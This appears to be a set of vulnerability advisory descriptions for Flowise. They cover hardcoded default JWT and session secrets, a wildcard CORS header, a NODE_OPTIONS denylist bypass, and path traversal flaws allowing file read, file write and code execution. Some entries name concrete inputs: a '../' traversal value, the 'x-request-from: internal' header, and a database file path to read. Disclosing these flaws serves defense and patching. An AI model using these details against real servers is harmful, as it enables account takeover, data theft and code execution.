Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses weak hardcoded default JWT secrets ('authtoken', 'refreshtoken') and default audience and issuer values ('AUDIENCE', 'ISSUER') in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). When the corresponding environment variables (JWTAUTHTOKENSECRET, JWTREFRESHTOKENSECRET, JWTAUDIENCE, JWTISSUER) are not set, the application silently falls back to these publicly known defaults, allowing an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in authentication bypass.
Flowise before 3.1.2 sets Access-Control-Allow-Origin to a hardcoded wildcard () on its text-to-speech (TTS) generation endpoint (packages/server/src/controllers/text-to-speech/index.ts), independent of the server's configured CORS policy. This bypasses the server's otherwise restrictive default CORS configuration (getCorsOptions()) and allows any webpage to make cross-origin requests that trigger TTS generation using stored credentials, enabling drive-by cross-origin credential abuse.
Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses a weak hardcoded default secret ('flowise') for the express-session middleware when the EXPRESSSESSIONSECRET environment variable is not set (packages/server/src/enterprise/middleware/passport/index.ts). Because this default secret is publicly visible in the source code, an attacker can forge valid signed session cookies to impersonate any user and bypass authentication.
Flowise before 3.1.3 validates Custom MCP stdio environment variables against a denylist using a case-sensitive comparison, so on Windows, where environment names are case-insensitive, supplying 'nodeoptions' bypasses the NODEOPTIONS denylist entry. An authenticated user who can configure a Custom MCP node can thereby inject NODEOPTIONS --require and execute arbitrary code in the Flowise server context.
Flowise contains a path traversal vulnerability in the /api/v1/document-store/loader/process endpoint that allows unauthenticated attackers to write arbitrary files to the filesystem. Attackers can exploit unsanitized fileName parameters with ../ sequences to overwrite critical files like package.json and achieve remote code execution when the application restarts.
Flowise before 3.0.10 (affected versions 3.0.7 and earlier) fails to invalidate existing sessions and session tokens after a user changes their password. An attacker who already holds an active session, for example via a stolen session token or a device left logged in, remains authenticated as the legitimate user even after the user rotates their credentials, undermining the security purpose of the password change.
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.
Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.
Flowise before 3.0.10 contains an unverified password change vulnerability. An authenticated user can change their account password through the account settings (Security) section without supplying the current password or any additional verification, as the application does not enforce a current-password check on the credential change. This can lead to full account takeover, particularly if an attacker can hijack or coerce an authenticated session.
Flowise contains an authentication bypass vulnerability in the unprotected /api/v1/account/register endpoint that allows unauthenticated attackers to create user accounts. Remote attackers can exploit this endpoint to register arbitrary accounts and authenticate to the system, gaining full API access without credentials.
Flowise before 3.0.6 contains an arbitrary file read vulnerability in the chatId parameter of the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints. The chatId value is not validated and is passed to streamStorageFile(), where a fallback file-lookup path constructed without the orgId is evaluated after the storage-directory containment check, allowing path traversal beyond the intended storage directory. Unauthenticated attackers can read sensitive files such as /root/.flowise/database.sqlite, exposing all database content in the default configuration.